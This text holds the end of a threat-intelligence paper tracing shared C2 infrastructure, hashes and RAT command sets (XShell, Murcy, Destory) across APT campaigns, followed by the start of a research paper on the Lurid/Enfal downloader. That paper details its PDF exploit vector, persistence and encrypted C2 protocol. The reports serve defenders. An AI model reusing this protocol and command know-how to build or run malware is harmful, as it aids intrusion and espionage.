(Fagerland,2011) Travlman Links The Destory RAT malware used in the SK Communications hack72 is identical, except for its configuration, to malware73 that communicates with the callback domain wow.travlman.com.
The callback domain previously pointed to the same IP address as that used in the SK Communications hack74.
Both of the malicious files were compiled from the same code on 27 September 2010 at 09:17:04 Greenwich Mean Time (GMT)75, and later configured.
The callback domain wow.travlman.com is also used by malware 76 that produces IP2B communications of an identical format to those decoded from the ExtraData in the Murcy communications.
This highlights an additional link 69 BackdoorFCQ uses several networksec.net subdomains as callback locations.
(
McAfee Inc., 2011) 70 The first reportedabuse of the certificate was in relation to the Hupigon trojan with MD5hash8800 8398 71A33801 B2B4 6F9E 23B7 B7A5.
(
Hispasec Sistemas, 2011) (Common Computer Security Standards) 71 Refer to the LURK Communications section for additional information.
72 The Destory RAT used in the SK Communications hack was hosted on a toolbox as nateon.exe, and called back to nateon.duamlive.com.
It has a SHA1 hash of F84C D73D ABF1 8660 7F986DF98C54 02A57BB5 8AD1andMD5of 4618 84F1 D41E 9E07 09B40AB2CE5A FCA7.
(
Command Five Pty Ltd, 2011) 73 Malware withthe MD5hash 5FCE 1FC1 8283 D76C 396A 3CCC 64BD BBDEcalls back to wow.travlman.com.
74 Bothwow.travlman.comandduamlive.compreviously pointed to IP address 203.160.67.131.
(
rbls, shenqi.travlman.com is not listedin any blacklists, 2011) (DomainTools, LLC) 75 Automated analysis reports confirm the compilation time of the code andthat, while the MD5hash of eachof the filesisdifferent, the MD5hashesof eachof the code sections, except for the .data section, are identical.
(
Hispasec Sistemas, 2011) (Hispasec Sistemas, 2011) 76 Malware with MD5 hash B098 AEE1 6BD1 38C4 1207 5C9D 315AEFC9.
(
Threat Expert Ltd, 2010) between the Destory RAT and the IP2B communications.
Several other travlman.com subdomains are known to exist 77 including at least one that is associated with malware.
The subdomain dm.travlman.com78 is the callback usedbymalware detected by antivirus software as Trojan:Win32/Boupke79.
Link toRSA Breach The majority of the known callback domains for Murcy malware were used in the March 2011 RSA breach.
This suggests that the attackers responsible for the RSA breach also use the Murcy malware.
Given that the malware is reportedly not in widespread use, the Chinese server communicating with path.alyac.org mayhave been compromised by the same attackers responsible for the RSAbreach.
XShell RAT The XShell RAT is commercially available software that appears to have been used in a number of attacks.
There are numerous versions of the XShell RAT,andnot all produce the same communications.
Malware that generates the same XShell C601 communications 80 observed to path.alyac.org appears to have been used in a number of attacks.
Malware thatgenerates similar communications also appears to have been used in a number ofattacks81.
Thatmalware is thought to be an XShell C603 RAT andnotan XShell C601RAT.Itisnotknown whether any of these malicious files were used by the same 77 The following are known travlman.com subdomains dm.travlman.com, g.travlman.com, g1.travlman.com, g2.travlman.com, luandao.travlman.com, mail.travlman.com, seo.travlman.com, shenqi.travlman.com, wayi.travlman.com, andwww.travlman.com.
78 Malware with MD5 hash 70A8 8091 E1F9 A7BE E246 488C CE79 936A is known to request the webpage http://dm.travlman.com/up.txt.
(
Sunbelt Security, 2009) 79 Malware with MD5 hash 70A8 8091 E1F9 A7BE E246 488C CE79 936A is detected by antivirus software as Trojan.
Win32.BoupkeIK, Trojan:Win32/Boupke.genA, and Trojan.
Win32.Boupke.
(
Hispasec Sistemas, 2009) 80 Automatedanalysisreportsexist on the Internet for probableX Shell 601malware withMD5hash 6581 3CBB 660E 91CD 5FA0 8300 E177EB09, 2299 47CC 71A4 601B 8B77 94B4 02E5 36A9, DA2F 9831 5F4C 56FC E212 73E2 1E45 3B76, and F4C0 8D3D F5ED E079 0E34 EAE0 C5DB 8A7A.
(Hispasec Sistemas, 2011) (Threat Expert Ltd, 2011) (Threat Expert Ltd, 2011) (Threat Expert Ltd,2011) 81Automatedanalysisreportsexist on the Internet for probable X Shell 603malware withMD5hash 6799 93AD 2CF8 EFDC 788E 0BA2 04D6 9B0D, andCE93 8C64 7831 080B 7116 5389 E43E 744D.
(Hispasec Sistemas, 2011) (Hispasec Sistemas, 2011) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
attackers who used the Xshell malware which communicates withpath.alyac.org.
Shared AlyacInfrastructure The domain alyac.org previously pointed to a C2 server located at IP address 222.122.20.241 and another located atIPaddress 202.30.224.240.
These IP addresses are associated with a number of other callback domains including bbs.ezxsoft.com, pc.nprotects.org, and wow.travlman.com  the latter beinglinkedto boththe DestoryRATandIP2B communications (as previouslydiscussed) 82.
Inaddition toboth having shared infrastructure with alyac.org, the two callback domains bbs.ezxsoft.com and pc.nprotects.org are used by malware that creates a uniquely named directory83.
This indicates a direct relationshipbetween the two pieces of malware.
The domain ezxsoft.com was registered by the same entity(Lee Cooper) as a domain usedin the SK Communications hack (ro.diggfunny.com), further linkingittothe same attackers.
The C2server andthe callback domains alsohave links toa myriadofother malicious activity84.
Sykipot Activity As previously discussed, before it expired, todaygonever.com pointed toa C2 server associated with both the Destroy RAT and NightDragon malware.
The same domain is also associated with Sykipot activity through shared C2 server infrastructure,anddomain registration information.
Over its lifetime the domain todaygonever.com pointed tonumerous IPaddresses,manyofwhichare notnoteworthy as theywere assignedtoservers that hostednumerous websites.
Four ofthe IPaddresses, however, are of particular note  IP addresses 67.90.204.228 (as previously discussed), 67.79.149.90, 209.133.72.83 and an IP address allocatedtoa large US financial institution.
82 Malware detected as Trojan.
Win32.AgentBypass uses the callback domain bbs.ezxsoft.com.
Malware detected as Trojan.
Win32.Genericuses the callbackdomain pc.nprotects.org.
(
GFI SandBox 2011) (GFI SandBox 2011) 83 Both pieces of malware create a directory named 03a075fb70d5d675f9dc26fc and a subdirectory named update.
(
GFI SandBox 2011) (GFI SandBox 2011) 84 For further detailsof the links, refer to the paper SK Hackby an Advanced Persistent Threat.
(
CommandFive Pty Ltd, 2011) IP address 67.79.149.90 previously hosted the known Sykipot domain help.newcarstyle.com.
Both IP address 67.79.149.90 and IP address 209.133.72.83 previously hosted bluelightness.com subdomains85.Theytherefore have additional links to Sykipot activity as shopping.bluelightness.com was previouslyhosted on IPaddress 209.53.155.244 the same IP address as the known Sykipot domains www.topix21century.com and notes.topix21century.com86.The bluelightness.com domain is also linked to mailkr2.com  a Destory RATand NightDragon domain previouslydiscussed.
Both domains share infrastructure with the domain worldsecuritys.com87.
As of 6 February, the domains file.filesdelete.com, news.welldone123.net and well.welldone123.net all point to the IP address allocated to the large US financial institution (to which todaygonever.com also previously pointed.)
The domain welldone123.net is a known Sykipot callback domain88.
The domain filesdelete.com is alsootherwise associatedwithmalware89.
The email address listed in the domain registration for todaygonever.com was janagreen2000gmail.com.
The same contactemail address (butdifferentname,address,andphone and fax numbers) was also used in the domain registration for centurycpc.com, filesdelete.com, greenrightway.com, quicklyfindme.com, and newcarstyle.com  at least two of whichare known Sykipotmalware domains90.
85 IP address 67.79.149.90 previously hosted helpdesk.bluelightness.com and IP address 209.133.72.83 previously hostedshopping.bluelightness.com.
86 IP address 209.53.155.244 previously hosted notes.topix21century.com, shopping.bluelightness.com, and www.topix21century.com.
The webpage topix21century.com was used, in what is believed to have been a targeted attack, to install Sykipot malware on computerswhichvisitedthe webpage.
The installed malware then communicated with a C2 server located at notes.topix21century.com.
(
Symantec Corporation, 2010) (MalwareGroup.com) 87 In 2011 both the known callback domain cb85.mailkr2.com and test.worldsecuritys.com pointed to IP address 12.68.249.62, the later still points there as of 9 February 2012.
In 2011, bluelightness.com and worldsecuritys.com both pointed to IP address 68.178.232.100, the later still pointsthere as of 9February 2012.
88 The domain welldone123.net is known to be associated with the Sykipot seriesof attacks.
(
Symantec Corporation, 2012) 89 The domain www.filesdelete.com is associated with Troj/BdoorBDM.
(
SophosLtd.,
2012) 90 The domain help.newcarstyle.com is a known Sykipot callback, as is greenrightway.com.
(
Symantec Corporation, 2012) (Malware Domains, 2012) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
INSIGHTS Increasingly,insteadofmalware using the defaultDNS servers on a compromised computer toresolve itscallback domains to IPaddresses,attackers will specifyDNS servers for the malware to use.
This has significant implications for network defenders.
Suchrequests,if allowed,will bypass the victims DNS servers anddefeat anyblacklists usedbythe victims own DNS servers.
Furthermore,the requests will not appear in the victims DNS server logs, makingdetection and investigation more difficult.
Organisations shouldconsider blocking internal DNS trafficto all locations other than the companysown DNSservers.
Furthermore they shouldbe alertto anyDNS communication attemptsto locations other than the companysown DNSservers,as this maybe an indicator ofa malware infection.
When code signingcertificates are revoked the date ofeffectofthe revocation ischosen sothat,where possible,legitimate software signedwiththe certificate continues to validate.
Unfortunately,this means that sometimes malware signed witha compromisedcertificate will alsocontinue to validate (despite the revocation).
Some malware attemptstocommunicate withC2 infrastructure atfrequentintervals.
The frequencyof these communication attempts can be used to detectthe malicious activity.
TCPport 443traffic is often allowedout of a network withoutinspection bynetwork securityappliances as itisexpectedtobe legitimate,encryptedSSL communications thatcan be difficulttoinspect.
Unfortunately, attackers take advantage ofthis byusingthe port tobypass securityappliances to communicate witha C2 server (suchas with the observedXShell communications).
Attackers often reuse the same code for their malware.
Sometimes they will recompile the code,sometimes theywill merely reconfigure the malware.
This alters the file hashandtherefore sucha hashisnot an effective signature for other configurations ofthe malware.
Hashes of the individual code sections (e.g.
.text, .rdata,.reloc) make for more robust detection as sections within the malicious files often remain the same.
The majorityof legitimate external network communications use the DNSprotocol to determine their destinations IPaddress.
Outbound network activity thatoccurs without a DNSlookup shouldbe treated with suspicion until the purpose ofthe communications can otherwise be determined.
Blockingoutboundcommunication attempts thatare notprecededbya DNSlookupcan be effective in blocking C2communication attempts thatare made directtoan IP address (suchas to an IPaddress listed within an XShell configuration webpage).
Legitimate destination IP addresses should be whitelistedtopreventlegitimate activity from alsobeing blocked.
Attackers will sometimes continue touse a callback domain even when itislistedon blacklists andin multiple malware analysis reports.
Blacklistinga domain can be useful but takingthe time toresearchthe domain and associatedactivitycan helpwiththe development of more effective,longer term mitigation strategies.
DISCLAIMER Machine translation software andautomatedmalware analysisreports have been heavilyrelied on throughoutthe developmentof thispaper.
While data has been verifiedagainst multiple sources where possible, Command Five Pty Ltd does not guarantee the veracityofsources or the accuracyofthe information.
Command Five PtyLtdremindsreaders to exercise caution when visiting untrusted websites and/or opening untrusted digital documents.
CommandFive PtyLtd does not warrant thatthe websites referenced in this paper are trustworthy.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
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Retrieved December 19, 2011, fromxdoors.net: http://forum.xdoors.net/viewtopic.php?f4t7 XTiger.
(2011, March16).
forum.xdoors.net.
Topic: XDoor/XShellfree download paused.
RetrievedDecember 27, 2011,from forum.xdoors.net:http://forum.xdoors.net/viewtopic.php?f5t76 XTiger.
(2011).
Xdoors.net.
RetrievedDecember 23, 2011,fromAll for dream...:http://www.xdoors.net XTiger.(n.d.
).XShell.
RetrievedDecember 23, 2011, fromXDoors: http://www.xdoors.net/help/XShell.htm OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
ANNEX A FORMATOF OSVERSIONINFOEX STRUCTURE OFFSET LENGTH(INBYTES) MEMBER DESCRIPTION 0 4 Structure size in bytes.
0x9C(156 bytes).
4 4 OS major version.
8 4 OS minor version.
12 4 OS build number.
16 4 An identifier for the OS platform.
20 128 A nullterminatedstringthat indicates the latest Service Packinstalled.
148 2 Service Pack major version number.
150 2 Service Pack minor version number.
152 2 A bit mask91 that identifiesthe product suitesinstalledon the system.
154 1 Product type that indicates whether the system is a workstation (0x01), a domain controller (0x02) or an NT server but not a domain controller (0x03).
155 1 A byte reservedfor future use.
91 For a detailed description of the product suite bit mask refer to the Microsoft MSDN OSVERSIONINFOEX reference page.
(
Microsoft Corporation, 2011) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
ANNEX B FORMATOF SYSTEM_INFO STRUCTURE OFFSET LENGTH(INBYTES) MEMBER DESCRIPTION 0 2 A number indicatingthe processor architecture of the installedOS.
2 2 Bytesreserved for future use.
4 4 Page size usedandthe granularity of page protection andcommitment.
8 4 Minimum application address.
Thisisthe lowest memory address that applications and DLLs can access.
12 4 Maximum application address.
This isthe highest memory addressthat applications andDLLs can access.
16 4 A maskrepresentingthe set of processorsconfigured into the system.
20 4 The number of logicalprocessors.
24 4 Processor type.
28 4 Granularity for the startingaddress at whichvirtualmemory can be allocated.
32 2 The architecturedependent processor level.
34 2 The architecturedependent processor revision.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
ANNEX C SUMMARY OFXSHELL COMMANDS COMMAND COMMAND DESCRIPTION svc Service control(list/stop/start/view/install etc.
).
pslist Listsprocesses.
pskill Killsprocess.
shell Startsa commandshell.
reboot Restartsthe computer.
shutdown Shutsdown the computer.
filetime Modifiestimestamp on a file (date created etc.
).
uninstall Uninstalls RAT.
mlist Getsprocessmodule specific information.
idle Getshost mouse andkeyboardidle time.
uptime Getssystem uptime.
update Update plugin from URL.
urlh Opensa URLin hidden view.
urln Opensa URLin normal view.
exeh Executesa program in hidden view.
exen Executesa program in normalview.
zip Compressesa file or folder to a Cab file.
mhost Getscurrent ControlHost IPaddressandport.
fputs Uploadsa file to the Control Host.
fgets Downloadsa file from the ControlHost or a URL.
inject Injects a plugin into another process.
(
The default process to inject into isIEXPLORE.EXE.)
pei Infectsa portable executable file.
per Repairsa portable executablefile.
avinfo Displaysinformation about installedantivirus software.
htan TCPport forwardingandmapping.
devcon Device manager.
keylog Keylogger control.
cleanl Cleans event log.
display Displayscontrolproxy.
proxy HTTP proxy service.
socks5 SOCK5 proxy service.
tcpagent TCPport forwarding.
clipboard Clipboardcontrol.
tcplist ListsTCP connections.
tcpkill Terminatesa TCPconnection.
sysinfo Getssystem information.
spilist SPI layer information.
cdrom ControlsCDROM (open/close).
sens Extractssensitive information.
rebind Rebinds TCPport to get password.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
fport Displaysport information withprocess path.
user User control(list/add/delete/controletc.
).
Supportscloningand cloningcheckflood.
flood Initiates a flood attack.
term Terminalmanagement settings(viewport/setport/start/stop).
findpass Attemptsto findcurrent users login password.
myplug An interface to thirdparty developedplugins.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
ANNEXD SUMMARY OFMURCY COMMANDS COMMAND CODE COMMAND DESCRIPTION 0x1003 Generate Sxlvalue from the registry key group.
0x1004 Add Sxldescription to registry key.
0x2000 Lock computer.
0x2001 Logoff.
0x2002 Reboot.
0x2003 Shutdown.
0x2004 Execute file.
0x2005 Execute msg.exe.
0x3000 Get system drive information.
0x3001 Filesearch.
0x3003 Filesearch.
0x300A Create directory.
0x300B Create process.
0x300C Delete file(s).
0x3200 Perform file operations.
0x5000 Obtain process information.
0x5002 Obtain process information.
0x5004 Kill process.
0x6000 List services.
0x6002 Delete service.
0x6003 Modify service configuration.
0x6004 Start service.
0x6005 Stop service.
0x7000 Input/output generatedin the process witha named pipe.
0x8000 Get environment string.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
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THE LURID DOWNLOADER By Nart Villeneuve  David Sancho TrendLabs 2      RESEARCH PAPER THE LURID DOWNLOADER CONTENTS ABSTRACT .....................................................................................................3 INTRODUCTION ............................................................................................4 ATTACK VECTOR...........................................................................................6 MALWARE ......................................................................................................6 COMMUNICATION WITH THE COMMAND AND CONTROL SERVER ..........8 COMMANDS ...................................................................................................8 TOOL MARKS ...............................................................................................10 COMMAND AND CONTROL INFRASTRUCTURE .......................................10 COMPROMISED ORGANIZATIONS .............................................................12 MALWARE CAMPAIGNS ..............................................................................13 NOTEWORTHY COMPROMISED ORGANIZATIONS ..................................14 DATA EX-FILTRATION ..................................................................................15 ATTRIBUTION ..............................................................................................16 CONCLUSION ..............................................................................................16 The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 3      RESEARCH PAPER THE LURID DOWNLOADER ABSTRACT This report investigates a campaign of targeted malware attacks that has successfully compromised 1465 computers in 61 different countries.
Based on the project path embedded in the malware, we have named this specifi c campaign Lurid Downloader although the malware is typically known as Enfal.
The majority of the victims are located in Russia and other members of the Commonwealth of Independent States (CIS).
We were able to identify 47 victims that include numerous government ministries and diplomatic missions along with space-related government agencies, companies and research institutions in Russia and other members of the CIS along with a smaller amount of similar entities in Europe.
The threat actors behind Lurid Downloader launched 301 malware campaigns targeting entities in specifi c countries or geographic regions and tracked the success of each campaign by embedding a unique identifi er in each instance of malware and associating it with specifi c victims.
While some campaigns resulted in numerous victims, others were very specifi c and targeted resulting in only one or two victims.
While previous Enfal activity has been typically associated with threat actors in China, it remains unclear who is behind the Lurid Downloader attacks.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 4      RESEARCH PAPER THE LURID DOWNLOADER INTRODUCTION Prior to the highly publicized Aurora attack on Google in late 2009, which also affected at least 20 other companies, there was little public awareness regarding targeted malware attacks1.
However, such attacks have been taking place for years and continue to affect government, military, corporate, educational, and civil society networks today.
While such attacks against the U.S. government and related networks are now fairly well-known, other governments and an increasing number of companies are facing similar threats.
Russia and other countries in the Commonwealth of Independent States are also being targeted and compromised.
These countries have an expertise in the space industry and also have operations in oil  gas, mining and other industry areas that have been targeted by malware attacks in the past.
Malware attacks that exploit vulnerabilities in popular software in order to compromise specifi c target sets are becoming increasingly commonplace.
These attacks are not automated or indiscriminate nor are they conducted by opportunistic amateurs.
Known as targeted malware attacks, these attacks refer to computer intrusions staged by threat actors that aggressively pursue and compromise specifi c targets.
Targeted malware attacks are typically part of broader campaigns, a series of failed and success compromises, by specifi c threat actors and not isolated attacks.
However, the specifi city of the attackers prior knowledge of the victim affects the level of targeting associated with a single attack.
As a result, some attacks appear to be less precise, or noisy, and are aimed at a broader community.
Such spear phishing attacks are usually directed toward a group of people with a commonality as opposed to a specifi c target but are useful for gaining an initial foothold in a future target of interest2.
The malware used in the Lurid Downloader attacks is commonly known as Enfal and it has been used in targeted attacks as far back as 20063.
In 2008, Maarten Van Horenbeeck documented a series of targeted malware attacks that made use the Enfal Trojan to target non-governmental organizations, non-governmental organizations (NGOs) as well as defense contractors and U.S. government employees4.
In 2009 and 2010, researchers from the University of Toronto published reports on two cyber- espionage networks known as GhostNet and ShadowNet that included malware and command and control infrastructure connected with the Enfal Trojan5.
The domain names used by Enfal as command and control servers are, according to U.S. diplomatic cables leaked to Wikileaks, linked to a series of attacks known as Byzantine Hades.
According to these leaked cables, the activity of this set of threat actors has been ongoing since 2002 and is known as Byzantine Hades, and there are subsets of this activity known as Byzantine Anchor, Byzantine Candor  and Byzantine Foothold6.
However, it is important to note that other than the use of Enfal itself, there appears to be several distinct sets of command and control infrastructure in use and the relationship among the threat actors operating these separate infrastructures remains unclear.
The Lurid Downloader attacks appear to be another separate, but related Enfal network with a geographic focus.
While there is clear evidence that the Tibetan community is also target, the victims of this attack are concentrated in Russia and other CIS countries.
Numerous embassies and government ministries have been compromised as well as research institutions and agencies related to the space industry.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 5      RESEARCH PAPER THE LURID DOWNLOADER Our investigation began with an analysis of the Lurid Downloader malware.
Our objective was to document its functionality and map out its command and control network.
While this malware family is well known, there appear to be various associated threat actors using it to compromise targets in various geographic locations.
Similar versions of this malware have been used to target both the U.S. government and NGOs in the past.
We could fi nd no direct links between this particular command and control network and the previously discovered ones we believe that it is most likely a separate, but related network as they appear to each have a regional focus.
We uncovered a command and control network that consists of 15 domains names and 10 IP addresses.
We were able to retrieve a listing of the compromised computers connecting to these servers.
In total, we found  1465 unique hosts (Hostname  Mac address as stored by the CC) with 2272 unique external IP addresses connecting to the command and control network primarily from Russia (1063), Kazakhstan (325) and Ukraine (102) along with numerous other countries in the CIS (former Soviet Union).
We were able to use reverse DNS and WHOIS lookups to determine the identity of 47 compromised hosts.
From the victims we were able to identify, there were concentrations of government ministries and diplomatic missions as well as space- related government agencies, companies and research institutions.
We found that the attackers embedded campaign codes inside the malware they propagated in order to keep track of the success of their campaigns.
In total, we found 301 campaign codes and there are high concentrations of victims within a single country for each instance of the malware campaign indicating that the distribution of the malware is targeted at specifi c countries or regions.
In addition, nearly 60 of the campaigns only affected 1 or 2 victims indicating the precision with which the malware campaigns were conducted.
1 For the attacks on Google, see http://googleblog.blogspot.com/2010/01/new-approach-to-china.html 2 http://www.cisco.com/en/US/prod/collateral/vpndevc/ps10128/ps10339/ps10354/targeted_attacks.pdf 3 http://about-threats.trendmicro.com/ArchiveMalware.aspx?languageusnameTROJ_SHARP.R 4 http://events.ccc.de/congress/2007/Fahrplan/attachments/1008_Crouching_Powerpoint_Hidden_Trojan_24C3.pdf , http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf, http://isc.sans.edu/diary.
html?storyid4177 5 While the domain names are present in the GhostNet report, they are not part of GhostNet but a completely different network of command and control servers that are actually associated with Enfal.
http://www.nartv.org/mirror/ghostnet.pdf and http://www.nartv.org/mirror/shadows-in-the-cloud.pdf 6 http://wikileaks.org/cable/2009/04/09STATE32025.html  http://cablesearch.org/cable/view.php?id08STATE116943 and http://www.reuters.com/article/2011/04/14/us-china-usa-cyberespionage-idUSTRE73D24220110414 The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 6      RESEARCH PAPER THE LURID DOWNLOADER ATTACK VECTOR In a typical targeted malware attack, a target typically receives a socially engineered message  such as an email or instant message  that encourages the target to click on a link or open a fi le.
The links and fi les sent by the attacker contain malicious code that exploits vulnerabilities in popular software such as Adobe Reader (e.g.
pdfs) and Microsoft Offi ce (e.g.
docs).
The payload of these exploits is malware that is silently executed on the targets computer.
This allows the attackers to take control of the computer and obtain data from it.
The attackers may then move laterally throughout the targets network and are often able to maintain control over compromised computers for extended periods of time.
Ultimately, the attacks locate and ex-fi ltrate sensitive information from the victims network.
In this case, the delivery mechanism used was an email with a malicious PDF as an attachment.
The email had no content, just a subject line and an attachment.
The email message was spoofed to appear to be from ohhdldalailama.com, the Offi ce of the Dalai Lama and had a subject of Tibetan Losar Event on 6 March 2011.
It also contained an attachment named LOSAR FLYER_edited-3.pdf.
The email was sent using an email provider called Gawab (gawab.com) which is popular in the Middle East.
The server used was info3.gawab.com (66.220.20.18) and the email address was emb107gawab.com.
The originating IP address was: 96.46.11.88 (INTERNETXTUSA).
While this IP address is assigned to the US, it is used by a VPN provider in China7.
If the attached PDF is opened with older versions of Adobe reader, malicious code is executed that drop malware on the targets system.
The malware then connects to a command and control server under the attackers control.
At this time, the targets computer is compromised and under the full control of the attackers.
7 http://www.ldvpn.cn/us-dongtai.html MALWARE MD5 File Name Detection 322fcf1b134fef1bae52fbd80a373ede  LOSAR_FLYER_edited-3.pdf TROJ_PIDIEF.SMZX This PDF contains a JavaScript stream that exploits the util.printd vulnerability (CVE- 2009-4324) that affects Adobe Reader 9.x (before 9.3) and 8.x (before 8.2).
MD5 File Name Detection 84d24967cb5cbacf4052a3001692dd54  ctfmon.exe TROJ_MECIV.A This PDF contains a JavaScript stream that exploits the util.printd vulnerability (CVE-2009-4324) that affects Adobe Reader 9.x (before 9.3) and 8.x (before 8.2).
MD5 File Name Detection 3447416fbbc65906bd0384d4c2ba479e  mspmsnsr.dll[chars] TROJ_MECIV.A The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 7      RESEARCH PAPER THE LURID DOWNLOADER After successful exploitation, two malware components are created.
One is a dropper (ctfmon.exe) that installs a windows service.
The service loads the dropped dll fi le mspmsnsr.dlllong string of characters.
The malicious Windows service stores its confi guration settings in the registry: HKLM\SYSTEM\CurrentControlSet\Services\WmdmPmSp\Parameters This malware identifi es itself as version 2.14.
During the course of our investigation, we discovered another version of the malware that identifi es itself as version 2.15.
MD5 File Name Detection 856de08a947a40e00ea7ed66b8e02c53 isssync.exe WORM_OTORUN.TMP Instead of a Windows service, version 2.15 is just a single executable that copies itself to the system folder and ensures persistence by changing the common start folder of windows to a special one it creates.
It then copies all the usual auto-start items there, as well as itself.
The existence of this folder is constantly checked and redone if the user or any program switches it back to normal.
The Trojan collects information from the computer and sends it via HTTP POST.
The information it collects is the following: Computer name MAC address computer OS and version IP address and codepage language of the operating system.
It constantly communicates with a CC server to perform certain info-stealing tasks.
The main feature of the Trojan is that all communication is started by the client by http.
Firewalls and other security devices will never see any communication from outside in.
Even the interactive command line is built this way so everything is done from the inside out.
The communication is always encrypted although its a simple XOR single- byte encryption.
This means that network security devices wont readily see anything suspicious going on.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 8      RESEARCH PAPER THE LURID DOWNLOADER COMMUNICATION WITH THE COMMAND AND CONTROL SERVER When malware is executed on the targets system it checks in with one or more servers under the control of the attackers.
Command and control mechanisms allow the threat actors to confi rm that an attack has succeeded in addition to supplying them with some information about the targets computer and network.
From here on, the client communicates back to the control server expecting a command, allowing the attackers to issue commands to the compromised target.
All of the connections to the command and control servers use the HTTP protocol and request specifi c URL paths.
On startup, the malware connects to the command and control server and requests the path /trandocs/mm/  (the path may differ with other samples, for example httpdocs/mm/ or /iupw82/netstate).
This appears to be a LOGIN connection and the server always responds with 123.
The data transmitted to the command and control server consists of the following: Encrypted Password/hostname:MAC/ip address OS name codepage:locale actual exe name campaign name y/n (sys32time.ini exists?
Is it 1Mb or bigger?)
y/n (ipop.dll exists?)
y/n (always n in our samples) malware version (2.14 or 2.15) The encrypted password at the beginning of the LOGIN packet only appears on version 2.15.
The sample we analyzed contains the password hallelujah and it is encrypted with ADD FAh.
The earlier version, 2.14, does not contain a password at all.
After the initial connection, the malware makes two kinds of connections to the command and control server every 2 minutes.
The fi rst connection is a KEEPALIVE connection to the URL path /cgl-bin/Owpq4.cgi.
The malware posts information to the command and control server that identifi es the compromised machine: OS and version, campaign ID and malware version.
The second connection is an ASKCMD connection to a URL with the path /trandocs/mm/ machine_name:MAC address/Cmwhite.
The contents of Cmwhite contain commands that are sent by the attackers to the compromised computer.
The range of possible commands will be discussed below.
When the command fi le, Cmwhite is downloaded, the malware fi rst acknowledges the receipt of the command by issuing an ACKCMD connection to /cgl-bin/Clnpp5.cgi.
Once the command is interpreted and performed, the malware issues a CMDDONE request to /cgl-bin/Rwpq1.cgi.
It contains the results of the command and, if relevant, a result code that indicates any error encountered.
When there is no command set by the attackers for the victim computer, the command and control server returns a 404 NOT FOUND error page.
This is never interpreted correctly as a command and therefore ignored.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 9      RESEARCH PAPER THE LURID DOWNLOADER COMMANDS The command packet that is contained within the  Cmwhite response is encrypted.
In the samples we analyzed, it is encrypted with XOR 45h.
Other communication packets observed suggest that there are other keys in use but they are always a single byte.
Once decrypted, this is what a command packet contains: First two bytes: 40 40.
(
This is just a magic number).
Third byte: Command code.
Fourth byte: Return code.
(
This only used in the CMDDONE packet to indicate error/success).
From the Fifth byte on, the command carries parameters, which vary depending on the nature of the command.
The range of commands available to the attackers that are enumerated below demonstrate the level of control the attackers have over their victims.
In addition to functionality that allows the attackers to send and receive fi les, they are able to activate an interactive remote shell on compromised systems.
Range of commands Command 01  ECHO It echoes back the word contained in bytes 5 and 6.
Theres another parameter, which is supposed to contain the string ibme54.
If this is right, it keeps an internal counter of how many of these ECHO packets, it has received.
Command 02  IPOP LOAD CHECK It checks if the previous check for the fi le c:\windows\system32\ipop.
dll was successful.
It returns a y/n condition.
Command 03  SEND FILE When the client receives this command, it retrieves a fi le and sends it to the CC server.
The fi lename is a parameter in the command packet.
Command 04 RECV FILE This command has two parameters, the fi lename and the data.
The client creates the fi le with the data in the packet.
It does this by constantly communicating with a Ufwhite URL.
This URL is accessed repeatedly in order to keep receiving chunks of the data fi le and appending it to the fi le.
When theres no more data, the fi le is closed and operation is fi nished.
After each packet is correctly received, the client sends a report packet to Clnpp5.cgi specifying that it was Ufwhite who started this operation.
Command 05  CMDEXEC It accepts a single command and executes it in the victim system.
Command 06  DELETE FILE It accepts a fi lename string as a parameter.
It deletes the fi le.
Command 07 MOVE FILE It accepts two fi lenames.
It moves the fi le from source to target destination.
Command 09  LS When the client receives this command, its proceeds to list the fi les within a specifi ed directory and sends the list back in a response packet.
Command 0A  INTERACTIVE MODE When the client receives this command, it stays in interactive mode.
It starts connecting to Clnpp5.cgi expecting a command.
These commands are then executed and error codes sent straight away until an exit command is received.
The interactive commands have a special tag to set them apart from regular commands.
This tag is 1234.
The way this interactive system is implemented is the following: The command is run in the same way as command 05 but the output is redirected to a fi le (c:\Documents and Settings\user\ SendTo\msacm.dat).
The contents of the fi le are then sent in the return packet to Clnpp5.cgi.
Once the exit command has been received, this mode is interrupted.
While this mode is going on, the Trojan still sends keepalive and regular command requests packets.
The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 10      RESEARCH PAPER THE LURID DOWNLOADER Command 0B  MKDIR The client creates a directory Command 0E TERMINATE PROCESS The client tries to terminate a given thread in the system.
Command 10  EXEC NFAL When this command is received, the client tries to execute the fi le c:\ windows\system32\nfal.exe.
This fi le does not exist on an infected system normally so it must be a placeholder for a command fi le uploaded to the victim.
Command 40 PING When this command is received, the Trojan just sends back an empty packet with a success code condition.
TOOL MARKS The terms tool marks refers to characteristics contained within malware that indicate that they are part of the same campaign or related to specifi c threat actors8.
In this case, the attackers left the PDB path in the malware samples we analyzed which indicate the name of the project: e:\programs\LuridDownLoader\LuridDownloader for Falcon\DllServiceTrojan\Release\DllServiceTrojan.pdb e:\programs\LuridDownLoader\LuridDownloader for Falcon\ServiceDll\Release\ ServiceDll.pdb We named this campaign of targeted attacks Lurid DownLoader based on the project name the attackers have given to their own malware.
